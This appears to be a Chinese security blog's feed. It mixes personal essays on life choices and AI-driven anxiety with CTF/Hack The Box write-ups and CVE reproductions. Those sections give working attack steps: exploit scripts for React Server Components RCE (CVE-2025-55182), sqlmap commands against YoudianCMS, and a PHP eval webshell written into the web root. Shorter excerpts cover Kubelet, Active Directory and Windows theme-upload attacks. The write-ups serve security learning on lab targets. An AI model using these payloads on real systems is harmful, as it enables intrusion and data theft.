BushSEC的被窝
type: channel
link: https://bushsec.cn/
description: 允许自己下落，允许自己升起；慢慢理解世界，慢慢更新自己
items: 新年特辑：仍在路上 置顶
items: CVE-2025-55182复现(ReactOOPS)
items: 当技术跑得比我们快：关于努力、价值与被时代追逐的焦虑
items: CVE-2022-32300漏洞复现(youdiancms 9.5.0)
items: Lost in Hyperspace：探索多维嵌入与隐写空间的旗帜追踪
items: Aero：通过主题上传实现 Windows RCE 与 CLFS 本地提权复盘(CVE-2023-28252)
items: SteamCloud：从Kubelet匿名访问到Pod提权的云原生攻防
items: EscapeTwo：域环境逃逸与权限提升
items: Cicada：初学者的域环境渗透实战
items: CVE漏洞监测服务中断公告
items: DarkCorp：深入企业的域控攻防

新年特辑：仍在路上 置顶
type: item
date: 2026-01-01T00:00:00+08:00
description: AI摘要：文章围绕“选择、成长与同行”展开，写给仍在前行中的人。作者认为，人生没有绝对正确的道路，当下所走的路就是当时最真实的选择，重要的不是结果，而是对自己内心的诚实与承担。通过“抛硬币的三秒真空”等意象，强调方向来自内心的悸动而非外界判断。文章也珍视同行者的陪伴，倡导与自己和解、接纳不确定与遗憾。最终传达出温柔而坚定的信念：只要持续前行，慢一点也没关系，每个人都会走向属于自己的位置。”钟表的指针周而复始，就像人的困惑、烦恼、软弱、摇摆不停。但最终，人们依旧要前进，就像你的指针，永远落在前方“在人生所有无声的选择里，最难的那一次，总会把你推向真正的自己。写在开头每个人的人生，都是一条独一无二的旅程。有时阳光明媚，路上花香扑鼻；有时风雨交加，泥泞遍地。我们无法预知下一刻的风景，也不能回到过去重新选择。但我们可以选择以怎样的姿态，走好脚下的每一步。无论你身处人生的哪个阶段，希望你读完之后，能微微停下，深深呼吸，然后坚定地往前走——因为...当下，就是你最好的路人总是会不自觉地，把自己没走的那条路美化到极致。 仿佛只要当初随便换个选择，现在的一切就会截然不同。 可也许—— 那条你没选的路上，你会因为放纵而变得臃肿，被讥笑； 我并不是悲观主义者，只是想告诉你： 另一条路同样可能不美好。 我们没法回到过去，也不可能重新做出选择。 既然你在当时做出了你能做出的最好选择，那就继续走下去。 这是你的路，你选择的路。 抓住现在，而不是沉迷过去、可能、未来。一枚硬币的三秒真空当硬币脱离指尖，在空中划出一道弧线，我们以为是在把命运交给偶然。 但其实—— 硬币抛起的从来不是正反，而是藏在心底沉浮的愿望。 那三秒的真空，是人生少有的坦诚。 所有犹豫、所有伪装、所有人设，都来不及跟上硬币的旋转。 你突然看清： 自己最害怕失去的是什么—— 是那个人，那个机会，还是那个你以为已经放下的自己？ 当硬币落地，你为那个未发生的结果松一口气，或心里一沉。 那一瞬间的 庆幸或失落，才是你灵魂真正的方向。 所以别问硬币落在了哪面。 问一问硬币落地时，你心里那道最轻微的涟漪。 它比任何占卜都更接近你的本质。 所有重要的选择，本质上不是选择未来，而是认清自己。可人真正需要的从来不是一个结果，而是一个让自己坦白的理由。我们把很多选择包装成“再想一想”“再等等吧”，其实心底早有答案，只是我们不敢面对——怕承担，怕后悔，怕承认某种渴望。可是硬币在空中旋转的那三秒，把所有逃避都摁下了暂停键。你忽然明白：你不是不知道自己想要什么，你只是还没准备好为了它付出代价。很多时候，我们不是在选择未来，而是在选择“愿不愿意为它负责”。抛硬币之所以让人心安，不是因为概率，而是因为它替我们揭开了那层最真实的自己。你会发现——多年以后你记不住那次究竟是正面落下还是反面落地，但你一定记得当时心里闪过的那一丝轻微、却刺眼的悸动。那种“终于看见了自己的心”的感觉，会成为你后来无数次决定中的底色。所以当你再遇见困难、迷茫、犹豫的时候，你无需再靠硬币来替你做决定。你只要回想起当年的那三秒，回想起那一瞬你的心往哪一边颤了一下。人生真正的方向，从不在硬币的落点里，而在你胸口那道微不可察、却无比诚实的震动。如果说选择是命运给的课题，那么那三秒的真空，就是你交出的最真实的答卷。你以为在找路，其实路在找你。曾有个朋友问过我：“你到底是怎么判断自己想走哪条路的？”我当时愣了一下——不是因为问题难，而是因为我忽然意识到：所谓的“方向”，好像从来不是某一天突然被我想明白的。我只告诉他一句很老实的话：“其实我也没多确定，只是每一次心里轻轻颤了一下，我就往那边迈了一步。也就是最简单的直觉。”我们常常以为方向要靠深思熟虑、靠别人点拨，靠一场灵光乍现；可后来你会发现，真正的方向往往藏在那些细小到几乎被忽略的瞬间——你在听到某句话时突然安静下来；你在面对某个机会时心跳莫名加快；你在做某件事时即使疲惫，却从不想放弃。这些微弱却真实的悸动，才是最稳定的指南针。也正因为如此，我才会越来越相信：我们所谓的“确定方向”，不是找到一个完美答案，而是有勇气承认自己心底的偏向——哪怕只有一点点。有时候我会突然意识到——原来长大的过程，并不是某一天突然懂了很多道理，而是在一次又一次撞南墙、摔跤、心软、心碎、重来之后，慢慢学会了不再那么急着为所有事给出答案。我们开始接受不确定，接受感情里有人来有人走，接受努力不一定有结果，接受遗憾永远不会彻底消失。可与此同时，我们也开始明白：每一个熬过的夜、挺住的崩溃、逼自己咽下的情绪，都在悄悄把我们变成更稳、更柔软、更有力量的人。成长不是变得刀枪不入，而是即使受过伤，依然愿意相信下一次依然值得全力以赴。也许你现在还看不清前路，也许生活的重量偶尔会压得你抬不起头，但没关系——你已经比昨天勇敢很多了。人生的路不是用来奔命的…

CVE-2025-55182复现(ReactOOPS)
type: item
date: 2025-12-13T18:58:00+08:00
description: 攻击机IP：10.10.16.8靶机IP：94.237.120.119该挑战展示了一款运行NexusAI助手界面的精美Next.js应用程序。该应用程序似乎通过 React Server 组件处理用户输入,但响应层中的细微故障提示了底层漏洞。访问页面：curl -v http://94.237.120.119:31312从回来的响应头可以发现关于HTTP响应头层面的铁证,从这里可以看到启用了支持 RSC 的 Next.js 应用程序,并提供 HTML，存在CVE-2025-55182漏洞Vary: rsc, next-router-state-tree, next-router-prefetch, Accept-Encoding然后让我们来看常见的几个指标1.包含响应头next-前缀包含 HTML 3.存在 .next 目录工件/_next/static/chunks/*.js /_next/static/chunks/*.css /_next/static/media/*.woff2说明：/_next/ 是 .next/ 构建产物的 对外映射实际磁盘结构.next/ static/ chunks/ media/虽然无法直接看到服务器的 .next/ 目录，但只要 /_next/static/* 可访问，即可确认 .next 构建工件存在准备环境git clone https://github.com/freeqaz/react2shell.gitchmod +x react2shell/*.sh首先之前的那些指标都是我们的猜测，我们准备进行漏洞检测./detect.sh http://94.237.120.119:31312[*] React2Shell Detection Probe (CVE-2025-55182 / CVE-2025-66478) [*] Target: http://94.237.120.119:31312 [*] HTTP Status: 500 [!] VULNERABLE - Server returned 500 with E{"digest" pattern [*] Response body: 0:{"a":"$@1","f":"","b":"s8I48LfEDhqpCdFN5-HbU"} 1:E{"digest":"346246470"} [!] This server is running a vulnerable version of React RSC / Next.js [!] Upgrade to Next.js 16.0.7+ or React 19.2.1+ immediately 从结果看我们发现了HTTP 500:检测到崩溃 E{"digest"响应式: React 错误处理格式 结论:服务器为漏洞主机远程代码执行接下来我们来验证任意命令执行./exploit-redirect.sh -q http://94.237.120.119:31312 "id"这里我们能看到代码被成功执行了这个脚本的作用是什么构造一个包含命令载荷的 multipart 请求体 将命令嵌入到原型污染（prototype pollution）的引用路径中 发送带有 Next-Action: x 请求头的 POST 请求 服务器在处理过程中对数据进行反序列化，并执行嵌入的命令 通过 HTTP 303 重定向 返回命令执行的输出结果输出显示uid=0(root)- 网页服务器运行为 root信息收集让我们构建文件系统并查找敏感文件./exploit-redirect.sh -q http://94.237.120.119:31312 "pwd"./exploit-redirect.sh -q http://94.237.120.119:31312 "ls -la /app"目标文件存在/app/flag.txt并具有限制性权限(600)拿到目标文件

当技术跑得比我们快：关于努力、价值与被时代追逐的焦虑
type: item
date: 2025-11-29T10:32:00+08:00
description: AI摘要：文章探讨AI快速发展带来的焦虑与挑战，强调人类的价值在于独特的经历、情感和过程，强调要守住属于人类的优势，注重深度和灵魂的追求。随手写点东西，算是深夜里的胡思乱想。AI 刚出现那会儿，它的笨拙几乎让人觉得好笑。让它画个吃面条的人，它能把筷子画成奇形怪状；让它写点代码，bug 能塞满整页。那时候，我真心觉得：放心吧，它离取代人类技能还远着呢。但真正让人后背发凉的，是后来发生的一切。短短几个月，它开始写出结构严谨的代码；视频稳定了，画面逼真了，人物细节越来越难以分辨真假；从 ChatGPT 的问世到 Claude4，再到 Gemini3，仅仅过去了三年左右的时间。而我们呢？还在原地慢慢学、慢慢积累、慢慢成长。那一刻，我第一次感受到一种说不上来的荒诞——人类的成长速度，似乎真的追不上时代了。从小到大，我们被教导“努力就会有回报”。你花时间、你熬夜学习、你坚持不放弃，就能拥有别人没有的能力。可是 AI 的出现像是在说：你花十年学会的，我几秒就能做到。你熬夜查资料，我用不到一瞬。你因为经验而骄傲，我根本不需要经验。这是第一次，努力这件事被重新审判。甚至让人怀疑：我们曾经挑灯夜读的那些年，在今天到底值多少钱？AI 不会累、不会焦虑、不会犹豫、不会精神内耗。它只会越来越强，越来越快，越来越“知道”。而我们却仍然是那一个会疲惫、会迷茫、会半夜怀疑人生的人类。说实话，我不怕比不过 AI。我怕的是——如果它比我们所有人都做得更好，那人的价值在哪里？这是一个很扎心的问题。因为它不仅是“职位竞争”，更深的是一种价值危机：当一个系统能以几何速度吸收世界知识，那我们这些一点点学习、慢慢成长的人，还剩下什么独特性？我们会不会真的有一天意识到：自己辛苦二十年，不如别人训练一次模型？这种想法不是悲观，而是一种难以回避的事实感。如果结果被替代，那我们能守住什么？思来想去，我发现一个很奇怪，却又很真实的答案：我们可能只剩下经历，剩下过程。但它不是退而求其次。它是人类真正无可替代的东西。经历是什么？是你第一次写出能跑的代码时那种近乎傻气的兴奋；是你被困难卡住的那几天烦躁、沉默、反复尝试；是你熬夜后第二天靠意志力撑起的清晨；是你失败之后，还是决定再试一次的那口气。这些东西，AI 没有。AI 也体验不到。AI 无法理解“痛一下就明白了”的深意。**过程塑造的是灵魂，而灵魂，是任何模型都训练不出来的。**我们这些年，把“价值”量化得太精准了：效率、产出、技能、竞争力。刚好都是机器擅长的。而那些真正让我们成为“人”的东西——情绪、直觉、顿悟、感受、美学、想象力、经历的沉淀、选择背后的理由——这些从来不是机器的领域。我们只是太久没有去重视它们，以至于当机器在“技能领域”打赢我们时，我们误以为自己“被淘汰”了。其实并没有。我们只是该转身，去守住那些属于人的领地。未来的世界可能比现在更失控，AI 也只会更强。这既是趋势，也是无法抵抗的时代洪流。但这并不意味着我们就没有位置了。我们能做的，是把人生从“要成为最快的人”转为“要成为最像自己的人”。赢不了效率，就去赢深度；比不过速度，就去比洞察；不擅长无休止的优化，就学会理解、陪伴、创造、感受。AI 会越来越像人，但永远不是人。真正的区别，不在于能力，而在于——我们有故事。这个世界上，没有任何一台机器能替你走完你的故事。没有任何算法能代替你感受这一生的重量与温度。也许我们追不上技术的脚步，但我们依然能决定自己人生的方向。而经历与过程，就是我们留给这个世界最独特、最无法替代的印记。

CVE-2022-32300漏洞复现(youdiancms 9.5.0)
type: item
date: 2025-11-19T08:50:00+08:00
description: AI摘要：该文章展示了利用YoudianCMS 9.5.0版本中的安全漏洞进行SQL注入和权限绕过的全过程，包括漏洞复现、注入攻击、敏感信息爆破及植入后门的步骤。首先安装cms先登录网站后台：http://<IP地址>/index.php/Admin/public/AdminIndex进入管理后台首先进行端口扫描nmap <IP地址>Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-19 09:08 CST Nmap scan report for 123.58.224.8 Host is up (0.012s latency). Not shown: 997 filtered tcp ports (no-response) PORT STATE SERVICE 80/tcp open http 443/tcp open https 8008/tcp open http Nmap done: 1 IP address (1 host up) scanned in 8.59 seconds 本漏洞易受攻击的文件路径：http://<IP地址>/index.php/App/Lib/Action/Admin/MailAction.php易受攻击的url：http://<IP地址>/index.php/Admin/mail/viewLog?MailSendID=1延时注入MailSendID=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))A)登录后台获取cookiePHPSESSID=oj44i6rf57h48fg16agn48btdvsqlmap无脑扫,由于本漏洞需要后台管理员权限，请注意带上你的cookiepython sqlmap.py -u "http://<IP地址>/index.php/Admin/mail/viewLog?MailSendID=1%20AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(5)))A)" --cookie "PHPSESSID=oj44i6rf57h48fg16agn48btdv" --tables --level 2选项选择N，Y，N，Y，Npython sqlmap.py -u "http://<IP地址>/index.php/Admin/mail/viewLog?MailSendID=1" --cookie="PHPSESSID=f3of4ssti7dsg8pvs3s8rtf9vn; youdianMenuTopID=3" --dbs将之前yakit截获的（/index.php/Admin/mail/viewLog?MailSendID=1）响应包复制下来为data.txtGET /index.php/Admin/mail/viewLog?MailSendID=1 HTTP/1.1 Host: <IP地址> Cookie: PHPSESSID=oj44i6rf57h48fg16agn48btdv; youdianMenuTopID=3 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9首先对用户名进行爆破python sqlmap.py -r data.txt --users --threads 10接着对密码进行爆破python sqlmap.py -r data.txt --passwords --threads 10得到密文密码：*81F5E21E35407D884A6CD4A731AEBFB6AF209E1Bcmd5解码接着就是登录mysql，传入一句话木马构造payloadSELECT "<?php eval(@$_POST['password']);?> " INTO OUTFILE '/var/www/wordpress/include/Db/1.php';然后蚁剑连上一句话木马即可，…

Lost in Hyperspace：探索多维嵌入与隐写空间的旗帜追踪
type: item
date: 2025-11-10T08:37:00+08:00
description: AI摘要：通过降维并利用几何结构，分析高维嵌入空间的螺旋形态，结合多路径遍历和排序策略，成功还原隐藏的 Flag：“HTB{L0ST_1N_TH3_SP1R4L}”。目标输入：embeddings.npy（高维嵌入，形如 110×512）、tokens.npy（对应字符数组）。方法：PCA 将嵌入降维到 2D/3D，依据点的几何结构（环形/螺旋），按合适顺序遍历并拼接字符。步骤 1：理解数据与挑战embeddings.npy：每个字符在高维空间的向量表示；tokens.npy：字符集合（含字母、数字、符号），在空间中“打散”分布；思路：降维后，数据通常呈现环形/螺旋等结构。沿着该结构遍历点，即可恢复字符原始顺序，拼接得到可读字符串与 Flag。步骤 2：确定如何完成机器无法像人类一样理解词语的含义，因此我们需要将词语转换为它们可以“操作”的形式——也就是数字。 在自然语言处理中，代币（token）是句子的最小单元，它可以是单词、子词，甚至是单个字符。例如，句子“天空是蓝色的”可以被拆分为“天空”、“天”、“是”和“蓝色”等代币。每个代币都会被映射为一个向量 ID，该向量的每一维都包含数值信息，用来捕捉代币的特征与关系。例如，“蓝色”这个词可能对应向量 [0.23, 0.89, 0.99, 0.98, ...]：第一维可以表示与“火”的相似度（因此数值较低）；第三维可能表示与“颜色”的相关性（因此数值接近1）。这些向量就是嵌入（embedding）——一种数值化表示，使机器能够理解语言的语义信息。但是，这类向量通常维度很高，可能达到100或1000维，我们无法直观地进行可视化。因此，我们需要将高维向量降维到可视化友好的三维空间。幸运的是，scikit-learn 提供了 PCA（主成分分析） 方法，可以有效地将高维数据压缩到低维，同时尽量保留数据的主要特征。本次挑战提示中提到“3D”和“阴影”，这正暗示我们可以将向量降到三维空间进行可视化，以便更直观地观察代币之间的关系。首先让我们来将矢量尺寸缩小至三维,并绘制出矢量及其2D阴影。image.py#!/usr/bin/env python3 # 保存为 find_flag_in_png.py import sys, os, re from PIL import Image import numpy as np def find_ascii_in_bytes(b, minlen=6): cur = bytearray() res = [] for x in b: if 32 <= x < 127: cur.append(x) else: if len(cur) >= minlen: res.append(cur.decode('latin1')) cur = bytearray() if len(cur) >= minlen: res.append(cur.decode('latin1')) return res def search_patterns_in_strings(strings): hits = [] for s in strings: for m in re.finditer(r'(flag\{.*?\}|FLAG\{.*?\}|ctf\{.*?\}|CTF\{.*?\})', s, flags=re.IGNORECASE): hits.append(m.group(0)) return hits def lsb_extract_and_search(img_arr, max_bytes=200000): H,W = img_arr.shape[0], img_arr.shape[1] C = img_arr.shape[2] if img_arr.ndim==3 else 1 # 每像素交织的最低有效位（LSB）（R,G,B,R,G,B,...） bits = [] if C == 1: data = img_arr.ravel() bits = (data & 1).astype(np.uint8) else: # 形状 H,W,C -> 逐像素迭代 # 为限制内存/时间，仅采样前 N 个像素 Npix = min(H*W, 20000) # sample first 20k pixels pix = img_arr.reshape(-1, C)[:Npix] bits = (pix & 1).reshape(-1) # 组装字节（高位在前，MSB-first） nbytes = (len(bits) // 8) bytes_arr = [] for i in range(nbytes): byte = 0 for j in range(8): bit = int…

Aero：通过主题上传实现 Windows RCE 与 CLFS 本地提权复盘(CVE-2023-28252)
type: item
date: 2025-10-27T09:40:00+08:00
description: AI摘要：文章介绍了利用Windows主题漏洞CVE-2023-28252通过主题上传实现远程代码执行和本地提权，详细描述了扫描、漏洞原理、攻击流程及捕获系统权限的过程。首先使用nmap扫描存活的端口nmap -p- --min-rate 10000 10.10.11.237Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-26 22:58 EDT Nmap scan report for 10.10.11.237 Host is up (0.092s latency). Not shown: 65534 filtered ports PORT STATE SERVICE 80/tcp open http发现了80端口，让我们扫描具体的服务nmap -p 80 -sCV 10.10.11.237PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Aero Theme Hub |_http-server-header: Microsoft-IIS/10.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 60.17 seconds根据IIS版本,主机可能运行现代Windows操作系统(Windows 10/11或Server 2016+)。访问该网站发现是一个 Windows 11 主题的存储库底部拥有一个上传点来上传自定义主题“浏览”按钮为文件对话框打开.theme而且.themepack扩展。如果我尝试上传一张图片,它会根据文件扩展名(或者说明)来拒绝它:File upload failed. Invalid file extension.接着我们来制作一个虚拟test.theme文件来进行上传上传成功并显示：File upload succeeded, Once we test your theme it will be added to the site!说明后续还会有人来打开测试它底部有一封邮件,support@aerohub.htb。页面上的所有链接都指向同一页面的其他部分。我们来查看http响应头来判断IIS的版本HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 Set-Cookie: .AspNetCore.Antiforgery.SV5HtsIgkxc=CfDJ8KhwwGdRThZIsdKv2UEKBTSKcK6NYPd906TegwfWvC5IvpQ6t9cvvVGbGBjIdz6FTU-kOje59n9YpR8Q0CZtkfoJtfs2njXhJ_fDAJGYcVimZ-11D2WAdnNEB1nTRyfLh3gTNQxTVeUrG5h-tdWSJ8c; path=/; samesite=strict; httponly X-Frame-Options: SAMEORIGIN X-Powered-By: ARR/3.0 Date: Tue, 26 Sep 2023 12:09:15 GMT Connection: close Content-Length: 11650X-Powered-By关于ARR/3.0与更常见的不同ASP.NET。Application Request Routing申请流程是用于处理负载均衡的 IIS 扩展。现在我们不知道这个扩展页面的扩展我会跑feroxbuster针对该网站,将其作为小写词列表,因为IIS对爆破事件不敏感:┌──(root㉿kali)-[~] └─# feroxbuster -u http://10.10.11.237 -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \…

SteamCloud：从Kubelet匿名访问到Pod提权的云原生攻防
type: item
date: 2025-09-13T13:07:00+08:00
description: AI摘要：本次云原生渗透测试利用了**Kubelet匿名访问**漏洞，成功从一个普通用户Pod提权并最终获取了主机的root权限。攻击过程包括信息侦察、利用Kubelet未授权访问、获取服务令牌、创建恶意Pod以及最终读取Flag。攻击机ip：10.10.16.3靶机IP：10.10.11.133首先nmapnmap -p- --min-rate 10000 -oA scans/nmap-alltcp得到结果Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-13 09:34 CST Nmap scan report for 10.10.11.133 Host is up (0.42s latency). Not shown: 65528 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 2379/tcp open etcd-client 2380/tcp open etcd-server 8443/tcp open https-alt 10249/tcp open unknown 10250/tcp open unknown 10256/tcp open unknown Nmap done: 1 IP address (1 host up) scanned in 10.36 secondsSSH 默认端口为 22。Etcd 是一个 Kubernetes 组件，客户端监听端口为 2379，服务器端口为 2380。Kubelet 是一个 Kubernetes 扩展，默认监听端口为 10250，Kubernetes API 监听端口为 8443。让我先来看看 Kubernetes API，它在 8443 端口上可访问。首先尝试访问Kubernetes API Server（8443端口），检查是否存在未授权访问：访问“https://10.10.11.133:8443”发现403{ "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "forbidden: User \"system:anonymous\" cannot get path \"/\"", "reason": "Forbidden", "details": { }, "code": 403 }输出显示我们无法在未经身份验证的情况下访问主目录，因此让我们继续查看监听在 10250 端口上的 Kubelet 服务。curl https://10.10.11.133:10250/pods -k {"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-controller-manager-steamcloud","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-controller-manager-steamcloud","uid":"be2478237d1af444b624cb01f51f79c4","creationTimestamp":null,"labels":{"component":"kube-controller-manager","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"be2478237d1af444b624cb01f51f79c4","kubernetes.io/config.seen":"2025-09-12T21:29:29.748824313-04:00","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"flexvolume-dir","hostPath":{"path":"/usr/libexec/kubernetes/kubelet-plugins/…

EscapeTwo：域环境逃逸与权限提升
type: item
date: 2025-07-28T22:45:00+08:00
description: AI摘要：该文章记录了一次域环境渗透测试，通过Nmap扫描发现目标，利用泄露的凭据访问共享文件，从中提取用户密码。随后，利用SQL Server的sa账户获取shell，发现数据库配置文件中的管理员密码。通过BloodHound分析权限，利用Ryan用户的WriteOwner权限修改CA_SVC密码，发现ADCS漏洞。最终，利用Certipy请求域管理员证书，获取NT哈希，成功以Administrator身份登录并获取root flag。虽然这篇评级是easy，但是对我来说还是蛮难的，至少是我做过的最难的easy评级了（）本机Ip：10.10.16.6目标ip：10.10.11.51首先nmap扫描nmap -sC -sV -Pn 10.10.11.51扫描结果Nmap scan report for 10.10.11.51 Host is up (0.32s latency). Not shown: 987 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-28 09:41:43Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 |_ssl-date: 2025-07-28T09:43:21+00:00; -7h56m06s from scanner time. 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: sequel.htb0., Site: Default-First-Site-Name) |_ssl-date: 2025-07-28T09:43:23+00:00; -7h56m06s from scanner time. | ssl-cert: Subject: | Subject Alternative Name: DNS:DC01.sequel.htb, DNS:sequel.htb, DNS:SEQUEL | Not valid before: 2025-06-26T11:34:57 |_Not valid after: 2124-06-08T17:00:40 1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM | ms-sql-ntlm-info: | 10.10.11.51:1433: | Target_Name: SEQUEL | NetBIOS_Domain_Name: SEQUEL | NetBIOS_Computer_Name: DC01 | DNS_Domain_Name: sequel.htb | DNS_Computer_Name: DC01.sequel.htb | DNS_Tree_Name: sequel.htb |_ Product_Version: 10.0.17763 | ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback | Not valid before: 2025-07-2…

Cicada：初学者的域环境渗透实战
type: item
date: 2025-07-27T14:41:00+08:00
description: AI摘要：对目标IP进行Nmap扫描后，发现`cicada.htb`域名并加入hosts。通过`crackmapexec`工具，利用guest用户成功枚举SMB共享，发现HR共享目录并获取到默认密码。使用该密码成功登录用户michael.wrightson，枚举用户发现david.orelious的密码提示。利用david.orelious的密码访问DEV共享，获取Backup_script.ps1文件，得到emily.oscars的凭据并成功获取shell。利用emily.oscars的SeBackupPrivilege权限，导出SAM和SYSTEM文件，提取Administrator用户的NTLM哈希，最终通过Pass-the-Hash攻击获取Administrator权限，拿到root flag。本机ip：10.10.16.6目标ip：10.10.11.35nmap -sC -sV -Pn 10.10.11.35得到结果如下Stats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan Service scan Timing: About 91.67% done; ETC: 03:54 (0:00:04 remaining) Nmap scan report for 10.10.11.35 Host is up (0.32s latency). Not shown: 988 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 53/tcp open domain (generic dns response: SERVFAIL) | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-26 18:53:59Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) |_ssl-date: TLS randomness does not represent time | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Default-First-Site-Name) | ssl-cert: Subject: commonName=CICADA-DC.cicada.htb | Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:CICADA-DC.cicada.htb | Not valid before: 2024-08-22T20:24:16 |_Not valid after: 2025-08-22T20:24:16 |_ssl-date: TLS randomness does not represent time 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb0., Site: Def…

CVE漏洞监测服务中断公告
type: item
date: 2025-07-25T23:30:00+08:00
description: 由于美国国家标准与技术研究院（NIST）于 2025 年 7 月 24 日对其国家漏洞数据库（NVD）API 请求方式进行了更新，本站的 CVE 漏洞监测服务因此受到影响并导致中断。现已完成对新接口规范的适配与兼容性升级，相关服务已全面恢复运行。关于 CVSS v4.0 评分体系的适配工作仍在进行中，相关功能将在后续版本中陆续上线，敬请期待。您可通过以下链接查看 NIST 官方更新公告：🔗 https://www.nist.gov/itl/nvd感谢您的理解与支持。

DarkCorp：深入企业的域控攻防
type: item
date: 2025-07-22T22:44:00+08:00
description: AI摘要：该博客文章详细记录了 HTB 平台上 “DarkCorp” 靶场的渗透测试全过程。DarkCorp 是一道高难度(Insane)的企业内网靶机，模拟了一个拥有邮件系统、用户门户、数据库服务和 Windows 域环境的中大型公司网络。 作者首先利用 Nmap、Gobuster 等工具进行信息收集，发现多个子域与服务。通过邮件劫持和 XSS 注入获取重置链接，控制管理员账号后进一步发起 SQL 注入攻击，成功从 PostgreSQL 数据库中获取凭据，并建立反弹 shell。 在拿下初始主机权限后，作者深入内网，发现 Windows 域控服务，通过 BloodHound 收集权限图谱，再结合 LDAP 爆破与 GPO 权限配置，实现本地管理员权限提升。最终使用工具转储 hash，成功获取域控 SYSTEM 权限。引言Hack The Box 的赛季靶机 DarkCorp，难度 Insane。本文将带你以轻松的方式体验这场顶级难度的靶机挑战，深入剖析从外部突破到域管理员提权的完整过程。技术点涉及：端口扫描、子域枚举、目录爆破、XSS 漏洞利用（CVE-2024-42008）、SQL 注入、PostgreSQL 命令执行、凭据窃取、邮件伪造、内网转发、日志分析、密码破解、备份解密、BloodHound 域分析、GPO 权限滥用、AMSI 绕过、域管理员提权。目标与读者：网络安全爱好者、红队选手，适合对域渗透、Web 漏洞利用及 Active Directory 攻防感兴趣的从业者和学习者。本机ip：10.10.16.2目标ip：10.10.11.54nmap -sC -sV 10.10.11.54先直接访问，发现跳转到了http://drip.htb域名，但无法连接将域名和ip加入hostsecho "10.10.11.54 drip.htb" | sudo tee -a /etc/hosts能访问了，但http://drip.htb里什么都没有（）使用gobuster进行子域名爆破收集gobuster vhost -u http://drip.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain使用gobuster进行目录爆破收集gobuster dir -u http://drip.htb -t 20 -H 'User-Agent:Mozilla' -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -b 401,403,404,500 -o 80.log将子域名加入hostsecho "10.10.11.54 mail.drip.htb" | sudo tee -a /etc/hosts发现可以sign up可以注册先注册一个账号1：bushsec密码1：123456登陆：没什么收获，我们重新注册一个用户，以root当作账户名账户2：root密码2：123456我们又有了两个收获一是获得两个用户名：ebelford和support。二是可以发现，每隔2分钟，网站会运行一个名为mail_clean.sh的脚本。从About选项卡可以看到邮件系统的信息接下来，我们把目光看向首页的Contact Us使用yakit劫持，将support%40drip.htb改成我们的邮箱地址root%40drip.htb在给support发邮件时，如果yakit中断并将地址改为我们的邮件地址，可以收到求助邮件，并得到 bcase用户名。yakit中断后，发送的原始内容如下。message= Foo 